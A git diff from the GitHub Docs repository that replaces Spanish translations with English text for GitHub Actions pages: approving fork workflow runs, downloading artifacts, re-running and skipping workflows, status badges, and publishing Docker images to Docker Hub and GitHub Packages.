[repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks), [organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#configuring-required-approval-for-workflows-from-public-forks), or [enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise). -Las ejecuciones de flujos de trabajo que hayan estado esperando una aprobación por más de 30 días se borrarán automáticamente. +Workflow runs that have been awaiting approval for more than 30 days are automatically deleted. -## Aprobar las ejecuciones de flujo de trabajo en una solicitud de cambios de una bifurcación pública +## Approving workflow runs on a pull request from a public fork -Los mantenedores con acceso de escritura en un repositorio pueden utilizar el siguiente procedimiento para revisar y ejecutar flujos de trabajo en las solicitudes de extracción de los contribuyentes que requieran aprobación. +Maintainers with write access to a repository can use the following procedure to review and run workflows on pull requests from contributors that require approval. {% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} {% data reusables.repositories.changed-files %} -1. Inspecciona los cambios propuestos en la solicitud de cambios y asegúrate de que estés de acuerdo para ejecutar tus flujos de trabajo en la rama de la solicitud de cambios. Debes estar especialmente alerta para notar cualquier cambio propuesto en el directorio `.github/workflows/` que afecte a los archivos de flujo de trabajo. -1. Si no estás de acuerdo en ejecutar los flujos de trabajo en la rama de la solicitud de cambios, regresa a la {% octicon "comment-discussion" aria-label="The discussion icon" %} pestaña de **Conversación** y, debajo de "Flujo(s) de trabajo esperando aprobación", haz clic en **Aprobar y ejecutar**. +1. Inspect the proposed changes in the pull request and ensure that you are comfortable running your workflows on the pull request branch. You should be especially alert to any proposed changes in the `.github/workflows/` directory that affect workflow files. +1. If you are comfortable with running workflows on the pull request branch, return to the {% octicon "comment-discussion" aria-label="The discussion icon" %} **Conversation** tab, and under "Workflow(s) awaiting approval", click **Approve and run**. - ![Aprueba y ejecuta flujos de trabajo](/assets/images/help/pull_requests/actions-approve-and-run-workflows-from-fork.png) + ![Approve and run workflows](/assets/images/help/pull_requests/actions-approve-and-run-workflows-from-fork.png) diff --git a/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md index 4de4cbcd76..9f8ac9185d 100644 --- a/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md +++ b/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -1,19 +1,19 @@ --- -title: Descargar los artefactos del flujo de trabajo -intro: Puedes descargar artefactos archivados antes de que venzan automáticamente. +title: Downloading workflow artifacts +intro: You can download archived artifacts before they automatically expire. versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: Descargar artefactos de flujo de trabajo +shortTitle: Download workflow artifacts --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. Para obtener más información, consulta la sección "[Administrar los ajustes de las {% data variables.product.prodname_actions %} en un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)". +By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)." {% data reusables.repositories.permissions-statement-read %} @@ -25,11 +25,11 @@ By default, {% data variables.product.product_name %} stores build logs and arti {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. Debajo de **Artefactos**, da clic en aquél que quieras descargar. +1. Under **Artifacts**, click the artifact you want to download. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} - ![Menú desplegable Download artifact (Descargar artefacto)](/assets/images/help/repository/artifact-drop-down-updated.png) + ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png) {% else %} - ![Menú desplegable Download artifact (Descargar artefacto)](/assets/images/help/repository/artifact-drop-down.png) + ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png) {% endif %} {% endwebui %} @@ -38,27 +38,27 @@ By default, {% data variables.product.product_name %} stores build logs and arti {% data reusables.cli.cli-learn-more %} -El {% data variables.product.prodname_cli %} descargará cada artefacto en directorios separados con base en el nombre de dicho artefacto. Si se especifica solo un artefacto individual, este se extraerá en el directorio actual. +{% data variables.product.prodname_cli %} will download each artifact into separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory. -Para descargar todos los artefactos que genera una ejecución de flujo de trabajo, utiliza el subcomando `run download`. Reemplaza a `run-id` con la ID de la ejecución de la cual quieres descargar artefactos. Si no especificas una `run-id`, {% data variables.product.prodname_cli %} devolverá un menú interactivo para que elijas una ejecución reciente. +To download all artifacts generated by a workflow run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run. ```shell gh run download run-id ``` -Para descargar un artefacto específico desde una ejecución, utiliza el subcomando `run download`. Reemplaza a `run-id` con la ID de la ejecución de la cual quieres descargar artefactos. Reemplaza a `artifact-name` con el nombre del artefacto que quieres descargar. +To download a specific artifact from a run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. Replace `artifact-name` with the name of the artifact that you want to download. ```shell gh run download run-id -n artifact-name ``` -Puedes especificar más de un artefacto. +You can specify more than one artifact. ```shell gh run download run-id -n artifact-name-1 -n artifact-name-2 ``` -Para descargar los artefactos específicos a lo largo de todas las ejecuciones en un repositorio, utiliza el subcomando `run download`. +To download specific artifacts across all runs in a repository, use the `run download` subcommand. ```shell gh run download -n artifact-name-1 -n artifact-name-2 diff --git a/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md index 7f9959fbf8..5d50bbb940 100644 --- a/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md +++ b/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md @@ -18,7 +18,7 @@ versions: ## Re-running all the jobs in a workflow -El volver a ejecutar un flujo de trabajo utiliza el mismo `GITHUB_SHA` (SHA de confirmación) y `GITHUB_REF` (ref de Git) del evento original que activó la ejecución de flujo de trabajo. You can re-run a workflow for up to 30 days after the initial run. +Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run. {% include tool-switcher %} @@ -29,10 +29,12 @@ El volver a ejecutar un flujo de trabajo utiliza el mismo `GITHUB_SHA` (SHA de c {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% ifversion fpt or ghes > 3.2 or ghae-issue-4721 or ghec %} -1. En la esquina superior derecha del flujo de trabajo, utiliza el menú desplegable **Volver a ejecutar jobs** y selecciona **Volver a ejecutar todos los jobs** ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) +1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs** + ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png) {% endif %} {% ifversion ghes < 3.3 or ghae %} -1. En la esquina superior derecha del flujo de trabajo, utiliza el menú desplegable **Volver a ejecutar jobs** y selecciona **Volver a ejecutar todos los jobs**. ![Volver a ejecutar el menú desplegable de verificaciones](/assets/images/help/repository/rerun-checks-drop-down-updated.png) +1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**. + ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png) {% endif %} {% endwebui %} @@ -41,13 +43,13 @@ El volver a ejecutar un flujo de trabajo utiliza el mismo `GITHUB_SHA` (SHA de c {% data reusables.cli.cli-learn-more %} -Para volver a ejecutar una ejecución de flujo de trabajo fallida, utiliza el subcomando `run rerun`. Reemplaza a `run-id` con la ID de la ejecución fallida que quieres volver a ejecutar. Si no especificas una `run-id`, {% data variables.product.prodname_cli %} devolverá un menú interactivo para que elijas una ejecución fallida reciente. +To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run. ```shell gh run rerun run-id ``` -Para ver el progreso de la ejecución del flujo de trabajo, utiliza el subcomando `run watch` y selecciona la ejecución de la lista interactiva. +To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list. ```shell gh run watch @@ -64,7 +66,8 @@ You can view the results from your previous attempts at running a workflow. You {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. Any previous run attempts are shown in the left pane. ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png) +1. Any previous run attempts are shown in the left pane. + ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png) 1. Click an entry to view its results. {% endif %} diff --git a/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md index dada157fa7..46385e5480 100644 --- a/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md +++ b/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md @@ -1,5 +1,5 @@ --- -title: Saltarse las ejecuciones de código +title: Skipping workflow runs intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message. versions: fpt: '*' @@ -21,14 +21,14 @@ Workflows that would otherwise be triggered using `on: push` or `on: pull_reques * `[skip actions]` * `[actions skip]` -Como alternativa, puedes finalizar el mensaje de confirmación con dos líneas vacías seguidas de ya sea `skip-checks: true` o `skip-checks:true`. +Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`. -No podrás fusionar la solicitud de cambios si tu repositorio se cofiguró para requerir que las verificaciones específicas pasen primero. Para permitir que la solicitud de cambios se fusione, puedes subir una confirmación nueva a la solicitud de cambios sin la instrucción de salto en el mensaje de confirmación. +You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message. {% note %} -**Nota:** Las instrucciones de salto solo aplican para los eventos de `push` y `pull_request`. Por ejemplo, el agregar `[skip ci]` a un mensaje de confirmación no impedirá que se ejecute un flujo de trabajo que se activa con `on: pull_request_target`. +**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running. {% endnote %} -Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. Para obtener más información, consulta la sección "[Inhabilitar y habilitar un flujo de trabajo](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)". +Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md index 2716e45fd2..4e7b40243e 100644 --- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md +++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md @@ -1,6 +1,6 @@ --- -title: Agregar una insignia de estado de flujo de trabajo -intro: Puedes mostrar una insignia de estado en tu repositorio para indicar el estado de tus flujos de trabajo. +title: Adding a workflow status badge +intro: You can display a status badge in your repository to indicate the status of your workflows. redirect_from: - /actions/managing-workflow-runs/adding-a-workflow-status-badge versions: @@ -8,7 +8,7 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Agregar una insignia de estado +shortTitle: Add a status badge --- {% data reusables.actions.enterprise-beta %} @@ -17,30 +17,30 @@ shortTitle: Agregar una insignia de estado {% data reusables.repositories.actions-workflow-status-badge-intro %} -Referencias el flujo de trabajo por el nombre de tu archivo de flujo de trabajo. +You reference the workflow by the name of your workflow file. ```markdown ![example workflow]({% ifversion fpt or ghec %}https://github.com{% else %}{% endif %}///actions/workflows//badge.svg) ``` -## Usar el nombre de archivo del flujo de trabajo +## Using the workflow file name -Este ejemplo de Markdown agrega una credencial de estado para un flujo de trabajo con la ruta de archivo `.github/workflows/main.yml`. El `OWNER` del repositorio es la organización `github` y el nombre del `REPOSITORY` es `docs`. +This Markdown example adds a status badge for a workflow with the file path `.github/workflows/main.yml`. The `OWNER` of the repository is the `github` organization and the `REPOSITORY` name is `docs`. ```markdown -![flujo de trabajo de ejemplo](https://github.com/github/docs/actions/workflows/main.yml/badge.svg) +![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg) ``` -## Utilizar el parámetro `branch` +## Using the `branch` parameter -Este ejemplo de Markdown añade un distintivo de estado para una rama con el nombre `feature-1`. +This Markdown example adds a status badge for a branch with the name `feature-1`. ```markdown ![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1) ``` -## Utilizar el parámetro `event` +## Using the `event` parameter -Este ejemplo de Markdown agrega un distintivo que muestra el estado de las ejecuciones de flujo de trabajo activadas por el evento `pull_request`. +This Markdown example adds a badge that displays the status of workflow runs triggered by the `pull_request` event. ```markdown ![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=pull_request) diff --git a/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md b/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md index f39a8133d1..fcb50166ad 100644 --- a/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md +++ b/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md @@ -1,6 +1,6 @@ --- -title: Publicar imágenes de Docker -intro: 'Puedes publicar imágenes de Docker en un registro, tale como Docker Hub o {% data variables.product.prodname_registry %}, como parte de tu flujo de trabajo de integración continua (IC).' +title: Publishing Docker images +intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.' redirect_from: - /actions/language-and-framework-guides/publishing-docker-images - /actions/guides/publishing-docker-images @@ -20,52 +20,52 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Introducción +## Introduction -Esta guía te muestra cómo crear un flujo de trabajo que realiza una compilación de Docker y posteriormente publica las imágenes de Docker en Docker Hub o {% data variables.product.prodname_registry %}. Con un solo flujo de trabajo, puedes publicar imágenes a un solo registro o a varios de ellos. +This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries. {% note %} -**Nota:** Si quieres subir otro registro de terceros de Docker, el ejemplo en la sección "[Publicar imágenes en {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" puede servir como plantilla. +**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template. {% endnote %} -## Prerrequisitos +## Prerequisites -Te recomendamos que tengas una comprensión básica de las opciones de configuración de flujo de trabajo y cómo crear un archivo de flujo de trabajo. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". +We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -También puede que encuentres útil el tener un entendimiento básico de lo siguiente: +You might also find it helpful to have a basic understanding of the following: -- "[Secretos cifrados](/actions/reference/encrypted-secrets)" -- "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %} -- "[Trabajar con el {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %} -- "[Trabajar con el registro de Docker](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %} +- "[Encrypted secrets](/actions/reference/encrypted-secrets)" +- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %} +- "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %} +- "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %} -## Acerca de la configuración de imágenes +## About image configuration -Esta guía asume que tienes una definición completa de una imagen de Docker almacenada en un repositorio de {% data variables.product.prodname_dotcom %}. Por ejemplo, tu repositorio debe contener un _Dockerfile_, y cualquier otro archivo que se necesite para realizar una compilación de Docker para crear una imagen. +This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image. -En esta guía, utilizaremos la acción `build-push-action` de Docker para compilar la imagen de Docker y cargarla a uno o más registros de Docker. Para obtener más información, consulta la sección [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images). +In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images). {% data reusables.actions.enterprise-marketplace-actions %} -## Publicar imágenes en Docker Hub +## Publishing images to Docker Hub {% data reusables.github-actions.release-trigger-workflow %} -En el flujo de trabajo de ejemplo a continuación, utilizamos las acciones `login-action` y `build-push-action` para crear la imagen de Docker y, si la compilación es exitosa, subimos la imagen compilada a Docker Hub. +In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub. -Para hacer una carga en Docker hub, necesitarás tener una cuenta de Docker Hub y haber creado un repositorio ahí mismo. Para obtener más información, consulta la sección "[Publicar una imagen de contenedor de Docker en Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" en la documentación de Docker. +To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation. -Las opciones de `login-action` que se requieren para Docker hub son: -* `username` y `password`: Este es tu nombre de usuario y contraseña de Docker Hub. Te recomendamos almacenar tu nombre de usuario y contraseña de Docker Hub como un secreto para que no se expongan en tu archivo de flujo de trabajo. Para más información, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." +The `login-action` options required for Docker Hub are: +* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." -La opción `metadata-action` que se requiere para Docker hub es: -* `images`: El designador de nombre para la imagen de Docker que estás compilando/subiendo a Docker Hub. +The `metadata-action` option required for Docker Hub is: +* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub. -Las opciones de `build-push-action` que se requieren para Docker Hub son: -* `tags`: La etiqueta de tu nueva imagen en el formato `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. Puedes configurar una etiqueta sencilla como se muestra a continuación o especificar etiquetas múltiples en una lista. -* `push`: Si se configura como `true`, se subirá la imagen al registro si se compila con éxito. +The `build-push-action` options required for Docker Hub are: +* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list. +* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully. ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -83,19 +83,19 @@ jobs: steps: - name: Check out the repo uses: actions/checkout@v2 - + - name: Log in to Docker Hub uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 with: username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %} password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %} - + - name: Extract metadata (tags, labels) for Docker id: meta uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 with: images: my-docker-hub-namespace/my-docker-hub-repository - + - name: Build and push Docker image uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc with: @@ -105,34 +105,34 @@ jobs: labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} ``` -El flujo de trabajo anterior verifica el repositorio de {% data variables.product.prodname_dotcom %}, utiliza la `login-action` para iniciar sesión en el registro y luego utiliza la acción `build-push-action` para: crear una imagen de Docker con base en el `Dockerfile` de tu repositorio; subir la imagen a Docker Hub y aplicar una etiqueta a la imagen. +The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image. -## Publicar imágenes en {% data variables.product.prodname_registry %} +## Publishing images to {% data variables.product.prodname_registry %} {% data reusables.github-actions.release-trigger-workflow %} -En el siguiente ejemplo de flujo de trabajo, utilizamos las acciones `login-action` {% ifversion fpt or ghec %}, `metadata-action`,{% endif %} y `build-push-action` de Docker para crear la imagen de Docker y, si la compilación tiene éxito, sube la imagen cargada al {% data variables.product.prodname_registry %}. +In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}. -Las opciones de `login-action` que se requieren para el {% data variables.product.prodname_registry %} son: -* `registry`: Debe configurarse en {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}. -* `username`: Puedes utilizar el contexto {% raw %}`${{ github.actor }}`{% endraw %} para utilizar automáticamente el nombre de usuario del usuario que desencadenó la ejecución del flujo de trabajo. Para obtener más información, consulta "[Contextos](/actions/learn-github-actions/contexts#github-context)". -* `password`: Puedes utilizar el secreto generado automáticamente `GITHUB_TOKEN` para la contraseña. Para más información, consulta "[Autenticando con el GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." +The `login-action` options required for {% data variables.product.prodname_registry %} are: +* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}. +* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." +* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." {% ifversion fpt or ghec %} -La opción de `metadata-action` que se requiere para el {% data variables.product.prodname_registry %} es: -* `images`: El designador de nombre de la imagen de Docker que estás compilando. +The `metadata-action` option required for {% data variables.product.prodname_registry %} is: +* `images`: The namespace and name for the Docker image you are building. {% endif %} -Las opciones de `build-push-action` que se requieren para {% data variables.product.prodname_registry %} son:{% ifversion fpt or ghec %} -* `context`: Define el contexto de la compilación como el conjunto de archivos que se ubican en la ruta especificada.{% endif %} -* `push`: Si se configura en `true`, la imagen se cargará al registro si se compila con éxito.{% ifversion fpt or ghec %} -* `tags` y `labels`: Estos se llenan con la salida de la `metadata-action`.{% else %} -* `tags`: Debe configurarse en el formato `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. Por ejemplo, para una imagen que se llame `octo-image` y esté almacenada en {% data variables.product.prodname_dotcom %} en la ruta `http://github.com/octo-org/octo-repo`, la opción `tags` debe configurarse como `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. Puedes configurar una tarjeta sencilla como se muestra a continuación o especificar etiquetas múltiples en una lista.{% endif %} +The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %} +* `context`: Defines the build's context as the set of files located in the specified path.{% endif %} +* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %} +* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %} +* `tags`: Must be set in the format `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %} {% ifversion fpt or ghec %} {% data reusables.package_registry.publish-docker-image %} -El flujo de trabajo anterior se activa mediante una subida a la rama de "lanzamiento". Verifica el repositorio de GitHub y utiliza la `login-action` para ingresar en el {% data variables.product.prodname_container_registry %}. Luego extrae las etiquetas y marcas de la imagen de Docker. Finalmente, utiliza la acción `build-push-action` para crear la imagen y publicarla en el {% data variables.product.prodname_container_registry %}. +The above workflow if triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}. {% else %} ```yaml{:copy} @@ -153,14 +153,14 @@ jobs: steps: - name: Check out the repo uses: actions/checkout@v2 - + - name: Log in to GitHub Docker Registry uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 with: registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %} username: {% raw %}${{ github.actor }}{% endraw %} password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - + - name: Build and push Docker image uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc with: @@ -171,14 +171,14 @@ jobs: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.event.release.tag_name }}{% endraw %} ``` -El flujo de trabajo anterior verifica el repositorio {% data variables.product.prodname_dotcom %}, utiliza la `login-action` para ingresar en el registro y luego utiliza la acción `build-push-action` para: crear una imagen de Docker con base en el `Dockerfile` de tu repositorio; subir la imagen al registro de Docker y aplicar el SHA de confirmación y versión de lanzamiento como etiquetas de la imagen. +The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit SHA and release version as image tags. {% endif %} -## Publicar imágenes en Docker Hub y en {% data variables.product.prodname_registry %} +## Publishing images to Docker Hub and {% data variables.product.prodname_registry %} -En un flujo de trabajo sencillo, puedes publicar tu imagen de Docker en registros múltiples si utilizas las acciones `login-action` y `build-push-action` para cada registro. +In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry. -El siguiente flujo de trabajo de ejemplo utiliza los pasos de las secciones anteriores ("[Publicar imágenes en Docker Hub](#publishing-images-to-docker-hub)" y "[Publicar imágenes en el {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") para crear un solo flujo de trabajo que cargue ambos registros. +The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries. ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -199,20 +199,20 @@ jobs: steps: - name: Check out the repo uses: actions/checkout@v2 - + - name: Log in to Docker Hub uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 with: username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %} password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %} - + - name: Log in to the {% ifversion fpt or ghec %}Container{% else %}Docker{% endif %} registry uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 with: registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %} username: {% raw %}${{ github.actor }}{% endraw %} password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - + - name: Extract metadata (tags, labels) for Docker id: meta uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 @@ -220,7 +220,7 @@ jobs: images: | my-docker-hub-namespace/my-docker-hub-repository {% ifversion fpt or ghec %}ghcr.io/{% raw %}${{ github.repository }}{% endraw %}{% elsif ghae %}{% raw %}docker.YOUR-HOSTNAME.com/${{ github.repository }}/my-image{% endraw %}{% else %}{% raw %}docker.pkg.github.com/${{ github.repository }}/my-image{% endraw %}{% endif %} - + - name: Build and push Docker images uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc with: @@ -230,4 +230,5 @@ jobs: labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} ``` -El flujo de trabajo anterior verifica el repositorio {% data variables.product.prodname_dotcom %}, utiliza `login-action` dos veces para iniciar sesión en ambos registros y genera etiquetas y marcadores con la acción `metadata-action`. Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% 